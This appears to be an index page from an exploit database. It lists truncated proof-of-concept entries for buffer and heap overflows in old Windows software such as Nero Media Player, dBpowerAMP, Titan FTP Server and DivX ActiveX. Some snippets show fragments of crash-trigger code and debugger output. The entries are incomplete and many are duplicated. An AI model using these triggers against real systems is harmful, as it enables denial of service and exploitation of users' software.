Access violation and limited informations disclosure in webcamXP 3.72.440.0

Luigi Auriemma Application: webcamXP http://www.webcamxp.com Versions: = 3.72.440.0 = beta 4.05.280 Platforms: Windows Bug: access violation with limited informations disclosure Exploitation: remote Date: 18 Feb 2008 Author: Luigi Auriemma e-mail: [email protected] web: aluigi.org 1 Introducti...

ImageStation (SonyISUpload.cab 1.0.0.38) ActiveX Buffer Overflow PoC

No description provided by source. html headtitleBuffer Overflow Vulnerability in AxRUploadServer.dll, Activex Method SetLogging/title/head body Dll name:AxRUploadServer.dll Download: http://www.imagestation.com/common/classes/SonyISUpload.cab?v=1,0,0,38 /br/br Description: This file belongs to...

dBpowerAMP Audio Player Release 2 M3U File Buffer Overflow PoC

No description provided by source. dBpowerAMP Audio Player Release 2 Remote Buffer Overflow 0:002 r eax=00000000 ebx=77c17a50 ecx=00000000 edx=00000107 esi=00000000 edi=00b8f217 eip=00004141 esp=00b8ede0 ebp=77c0f931 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000...

Buffer Overflow Vulnerability in AxRUploadServer.dll, Activex Method (SetLogging)

Buffer Overflow in AxRUploadServer.dll, this file belongs to ImageStation that is a servicemark of Sony Electronics Inc. -------------- Access Violation at 0x42424242 The code: object classid='clsid:E9A7F56F-C40F-4928-8C6F-7A72F2A25222' id='bof'/object input language=VBScript onclick=Son...

dbpoweramp-dos.txt

dBpowerAMP Audio Player Release 2 Remote Buffer Overflow 0:002 r eax=00000000 ebx=77c17a50 ecx=00000000 edx=00000107 esi=00000000 edi=00b8f217 eip=00004141 esp=00b8ede0 ebp=77c0f931 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 00004141 ?? ???...

dBpowerAMP Audio Player Release 2 Remote Buffer Overflow

dBpowerAMP Audio Player Release 2 Remote Buffer Overflow 0:002 r eax=00000000 ebx=77c17a50 ecx=00000000 edx=00000107 esi=00000000 edi=00b8f217 eip=00004141 esp=00b8ede0 ebp=77c0f931 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 00004141 ?? ???...

nero-dos.txt

NERO Media Player $file" or die "Cannot open $file: $!"; print $FILE "http://"."A" x 700; close$FILE; print "$file has been created \n"; print "Upload it, and open it with Nero Media Player\n"; print "Credits:Securfrog"; Btw , after the crash /if not exploited .../ you wont be able to open Nero...

NERO Media Player 1.4.0.35b - '.m3u' File Buffer Overflow (PoC)

NERO Media Player $file" or die "Cannot open $file: $!"; print $FILE "http://"."A" x 700; close$FILE; print "$file has been created \n"; print "Upload it, and open it with Nero Media Player\n"; print "Credits:Securfrog"; Btw , after the crash /if not exploited .../ you wont be able to open Nero...

NERO Media Player 1.4.0.35b - .m3u File Buffer Overflow (PoC)

NERO Media Player 1.4.0.35b - .m3u File Buffer Overflow PoC NERO Media Player $file" or die "Cannot open $file: $!"; print $FILE "http://"."A" x 700; close$FILE; print "$file has been created \n"; print "Upload it, and open it with Nero Media Player\n"; print "Credits:Securfrog"; Btw , after the...

dBpowerAMP Audio Player 2 - '.m3u' Buffer Overflow (PoC)

dBpowerAMP Audio Player Release 2 Remote Buffer Overflow 0:002 r eax=00000000 ebx=77c17a50 ecx=00000000 edx=00000107 esi=00000000 edi=00b8f217 eip=00004141 esp=00b8ede0 ebp=77c0f931 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 00004141 ?? ???...

Titan FTP Server Remote Heap Overflow (USER/PASS)

Titan FTP SERVER REMOTE HEAP OVERFLOWUSER/PASS Impact : Critical Windbg Output: bec.528: Access violation - code c0000005 first chance First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=41414141 ebx=00000000 ecx=07e415f4 edx=0000000...

titan-heap.txt

Titan FTP SERVER REMOTE HEAP OVERFLOWUSER/PASS Impact : Critical Windbg Output: bec.528: Access violation - code c0000005 first chance First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=41414141 ebx=00000000 ecx=07e415f4 edx=0000000...

Titan FTP Server 6.03 (USER/PASS) Remote Heap Overflow PoC

No description provided by source. Titan FTP SERVER REMOTE HEAP OVERFLOWUSER/PASS Impact : Critical Windbg Output: bec.528: Access violation - code c0000005 first chance First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=41414141...

Titan FTP Server 6.03 (USER/PASS) Remote Heap Overflow PoC

Exploit for unknown platform in category dos / poc ========================================================== Titan FTP Server 6.03 USER/PASS Remote Heap Overflow PoC ========================================================== Titan FTP SERVER REMOTE HEAP OVERFLOWUSER/PASS Impact : Critical Windbg...

Titan FTP Server 6.03 - USERPASS Remote Heap Overflow (PoC)

Titan FTP Server 6.03 - USERPASS Remote Heap Overflow PoC Titan FTP SERVER REMOTE HEAP OVERFLOWUSER/PASS Impact : Critical Windbg Output: bec.528: Access violation - code c0000005 first chance First chance exceptions are reported before any exception handling. This exception may be expected and...

Titan FTP Server 6.03 - 'USER/PASS' Remote Heap Overflow (PoC)

Titan FTP SERVER REMOTE HEAP OVERFLOWUSER/PASS Impact : Critical Windbg Output: bec.528: Access violation - code c0000005 first chance First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=41414141 ebx=00000000 ecx=07e415f4 edx=0000000...

DivX Player 6.6.0 ActiveX SetPassword() Denial of Service PoC

No description provided by source. object id="divx" classid="clsid:D050D736-2D21-4723-AD58-5B541FFB6C11" style="display:none;" /object script function crash var buff = ''; fori=0;i=500;i++ buff+="AAAAAAAAAA"; object = document.getElementById"divx"; object.SetPasswordbuff; /script pre h3uDivX...

Microsoft Office Publisher

I found two ways to cause a denial of service on the Microsoft Office Publisher, this is done by creating a malformed file with the following characteristics: The first is to create a new file and modifying hexadicimal with an editor from the direction 00006B90 to 00006D90 with the letter "A", th...

iMesh <= 7.1.0.x (IMWeb.dll 7.0.0.x) Remote Heap Overflow Exploit

No description provided by source. !-- iMesh = 7.1.0.x IMWebControl Class IMWeb.dll 7.0.0.x remote heap exploit IE7/XP full patched by rgod, site: http://retrogod.altervista.org/ software site: http://www.imesh.com "iMesh is a file sharing and online social network. It uses a proprietary,...

Fedora 7 : squid-2.6.STABLE16-2.fc7 (2007-4161)

Thu Dec 6 2007 Martin Nagy - 7:2.6.STABLE16-1 - Upstream patch to fix CVE-2007-6239 410181 - Fri Sep 7 2007 Martin Bacovsky - 7:2.6.STABLE16-1 - upgrade to latest upstream 2.6.STABLE14 - Wed Aug 1 2007 Martin Bacovsky - 7:2.6.STABLE14-1 - upgrade to latest upstream 2.6.STABLE14 - Mon Jun 4 2007...